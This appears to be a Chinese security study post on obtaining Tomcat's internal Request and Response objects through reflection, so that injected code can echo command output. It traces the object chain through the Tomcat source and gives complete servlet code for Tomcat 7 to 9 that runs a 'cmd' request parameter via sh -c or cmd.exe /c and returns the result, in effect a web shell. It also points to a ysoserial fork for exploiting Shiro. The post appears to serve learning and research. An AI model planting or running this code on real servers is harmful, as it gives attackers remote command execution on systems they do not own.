整体流程就是通过request
对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为InputStream
,通过response
对象的方法输出命令执行的结果,从而在页面获得回显
搭建环境
创建maven项目,导入依赖
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>tomcatEcho1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <tomcat.version>8.5.78</tomcat.version> </properties> <dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>${tomcat.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> <version>${tomcat.version}</version> <scope>provided</scope> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 --> <version>${tomcat.version}</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <!-- idea 识别不出来,要单独引入这个依赖 --> <version>${tomcat.version}</version> </dependency> </dependencies> </project>
添加web框架依赖
添加tomcat环境
编写controller层,创建servlet
package controller; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; @WebServlet(name = "TomcatServlet", value = "/TomcatServlet") public class TomcatServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); String name = System.getProperty("os.name"); String cmd = request.getParameter("cmd"); String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] buf = new byte[1024]; int len = 0; ByteArrayOutputStream out = new ByteArrayOutputStream(); while ((len = in.read(buf)) != -1) { out.write(buf, 0, len); } PrintWriter writer = response.getWriter(); writer.write(new String(out.toByteArray())); writer.flush(); } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request,response); } }
所以我们需要找到需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程
主要通过Litch1的文章学习,传送门。
我们随便在springboot中打个断点,看看堆栈,根据师傅文章得知为Http11Processor的父类(AbstractProcessor)存储了Request和Response,且为final修饰,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response,我们先来org.apache.coyote.http11.Http11Processor
.
可以看到此时request里面已经初始化好了,我们继续向前回溯,看看其定义
可以看到在AbstractProcessor
中定义了,并且是protected和final修饰,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,他是在那里初始化的呢
可以看到是在构造方法中赋值的,但是该构造方法为protecd修饰,需要调用重载的pubic方法去实现,所以子类可以调用该方法实例化request和response
我们看到Http11Processor通过调用父类的构造方法,获取request和response
而且Http11Processor怎么获取request和response,我们可以通过Http11Processor的getRequest方法获取request
而在Request类中,可以通过getResponse获取response。
最后通过response
类的doWrite()
方法,写进内容,返回给前端
前面挖掘部分说了,获取了Http11Processor
实例后,就可以获取request
,也就可以获取response
,我们的目的也达成了,但是如何来获取Http11Processor
实例或者Http11Processor request、response
的变量呢
继续向前分析,看什么时候出现了Http11Processor
类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process
这个函数中
是在704行通过this.getProtocol().createProcessor()
创建的,然后通过register方法注册,跟进去看看
发现RequestInfo里面有req,然后就可以获取response。
rp.req.getResponse()
然后通过setGlobalProcessor
把RequestInfo
放到this.global
里,那个这个this.global
是什么呢?是一个RequestGroupInfo实例对象
我们也跟进setGlobalProcessor
去看看,看到this.global,调用addRequestProcessor增加this(RequestInfo),继续跟进去
我们可以看到把他增加到 this.global(RequestInfo)的List
所以我们就要获取global
global
变量是AbstractProtocol
静态内部类ConnectionHandler
的成员变量,不是static静态变量,因此我们还需要找存储AbstractProtocol
类或AbstractProtocol
子类。
现在的利用链为
AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
看到他的子类(Navigate-->Type Hierarchy)
分析继承关系,发现它有子类Http11NioProtocol
,所以如果我们获取到这个类,那么也能获取到globa
Tomcat初始化StandardService时,会启动Container、Executor、mapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中
继续分析调用栈,发现存在这个
org.apache.catalina.connector.CoyoteAdapter#connector
的protocolHandler
属性
可以看到使用Evaluate确实可以获取response
((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) ((Connector)((CoyoteAdapter)this).connector).protocolHandler).handler).global.processors.get(0).req.getResponse()
所以现在的思路是如何获取到这个connector
,新的利用链
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并在org.apache.catalina.startup.Tomcat
的setConnector通过org.apache.catalina.core.StandardService#addConnector
存放在connectors
中
然后通过org.apache.catalina.core.StandardService#initInternal
进行初始化
因为先添加了再初始化,所以这个时要获取connectors
,可以通过org.apache.catalina.core.StandardService
来获取
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
现在就是如何获取StandardService了。
tomcat的类加载机制
双亲委派机制的缺点: 当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。 例如: 假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。 Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。
通过Thread.currentThread().getContextClassLoader()
来获取当前线程的ClassLoader
,再去寻找StandardService
在resources-->context-->context-->service
所以最终的调用链(Thread.currentThread().getContextClassLoader()==WebAppClassLoader)
Thread.currentThread().getContextClassLoader()-->resources-->context-->context-->service-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response
package controller; import org.apache.catalina.connector.Connector; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.core.StandardService; import org.apache.coyote.ProtocolHandler; import org.apache.coyote.RequestInfo; import org.apache.tomcat.util.net.AbstractEndpoint; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; @WebServlet(name = "TomcatServlet", value = "/TomcatServlet") public class TomcatServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); //获取standardContext上下文 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); try { //获取StandardContext中的context //获取ApplicationContext上下文,因为ApplicationContext是protect修饰 // 反射获取StandardContext中的context Field context = standardContext.getClass().getDeclaredField("context"); context.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext); // 反射获取context中的service Field service = applicationContext.getClass().getDeclaredField("service"); service.setAccessible(true); org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext); // 反射获取service中的connectors Field connectors = standardService.getClass().getDeclaredField("connectors"); connectors.setAccessible(true); org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService); // 反射获取 AbstractProtocol$ConnectoinHandler 实例 ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler(); Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler"); handler.setAccessible(true); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler); // 反射获取global内部的processors org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal(); Field processors = requestGroupInfo.getClass().getDeclaredField("processors"); processors.setAccessible(true); ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo); // 获取response修改数据 // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次 Field req = RequestInfo.class.getDeclaredField("req"); req.setAccessible(true); for (org.apache.coyote.RequestInfo requestInfo : processors1) { org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo); // 转换为 org.apache.catalina.connector.Request 类型 org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1); org.apache.catalina.connector.Response response1 = request2.getResponse(); // 获取参数 PrintWriter writer = response1.getWriter(); String name = System.getProperty("os.name"); String cmd = request.getParameter("cmd"); String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); byte[] buf = new byte[1024]; int len = 0; ByteArrayOutputStream out = new ByteArrayOutputStream(); while ((len = in.read(buf)) != -1) { out.write(buf, 0, len); } writer.write(new String(out.toByteArray())); writer.flush(); } } catch (NoSuchFieldException | IllegalAccessException | IOException e) { e.printStackTrace(); } } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request,response); } }
tomcat的小版本有限制
主要原因是
本人在tomcat9.0.56、 8.5.47才成功的
原因是Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败
新的利用链
Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response
通过Thread.currentThread().getThreadGroup()
遍历线程得到NioEndpoint$Poller
的父类NioEndpoint
,然后再通过获取其父类 NioEndpoint
进而获取AbstractProtocol$ConnectoinHandler(handler)>>global-> processors->request
路径:
通过 Thread.currentThread().getThreadGroup()
获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint(thread-->target)
通过NioEndpoint获取 AbstractProtocol$ConnectoinHandler
(thread-->target->this$0)
获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,(thread-->target->this$0->handler->global)
然后再利用反射获取 gloabl 中的 processors 属性
然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
package controller; import org.apache.coyote.*; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.Writer; import java.lang.reflect.Field; import java.util.ArrayList; @WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet") public class Tomcat7Servlet extends HttpServlet { @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { boolean flag=false; try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for(int i=0;i< threads.length;i++){ Thread thread=threads[i]; String threadName=thread.getName(); try{ Object target= getField(thread,"target"); Object this0=getField(target,"this$0"); Object handler=getField(this0,"handler"); Object global=getField(handler,"global"); ArrayList processors=(ArrayList) getField(global,"processors"); for (int j = 0; j < processors.size(); j++) { RequestInfo requestInfo = (RequestInfo) processors.get(j); if(requestInfo!=null){ Request req=(Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1); org.apache.catalina.connector.Response response1 =request1.getResponse(); Writer writer=response.getWriter(); writer.flush(); writer.write("TomcatEcho"); flag=true; if(flag){ break; } } } }catch (Exception e){ e.printStackTrace(); } if(flag){ break; } } } catch (Exception e){ e.printStackTrace(); } } public static Object getField(Object obj,String fieldName) throws Exception{ Field field=null; Class clas=obj.getClass(); while(clas!=Object.class){ try{ field=clas.getDeclaredField(fieldName); break; }catch (NoSuchFieldException e){ clas=clas.getSuperclass(); } } if (field!=null){ field.setAccessible(true); return field.get(obj); }else{ throw new NoSuchFieldException(fieldName); } } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
已经有大佬给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用
https://github.com/zema1/ysoserial/releases
漏洞利用可以参考shiro550分析
其实本篇就是学习大佬们回显的思路,学习怎么看懂它,学习一下其中挖掘的思路,基本上都是按着大佬们的步骤一步步的复现。
https://sp4zcmd.github.io/2021/10/27/Tomcat通用回显学习笔记/
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
https://www.cnblogs.com/CoLo/p/15581915.html
https://blog.gm7.org/
https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3
https://xz.aliyun.com/t/7535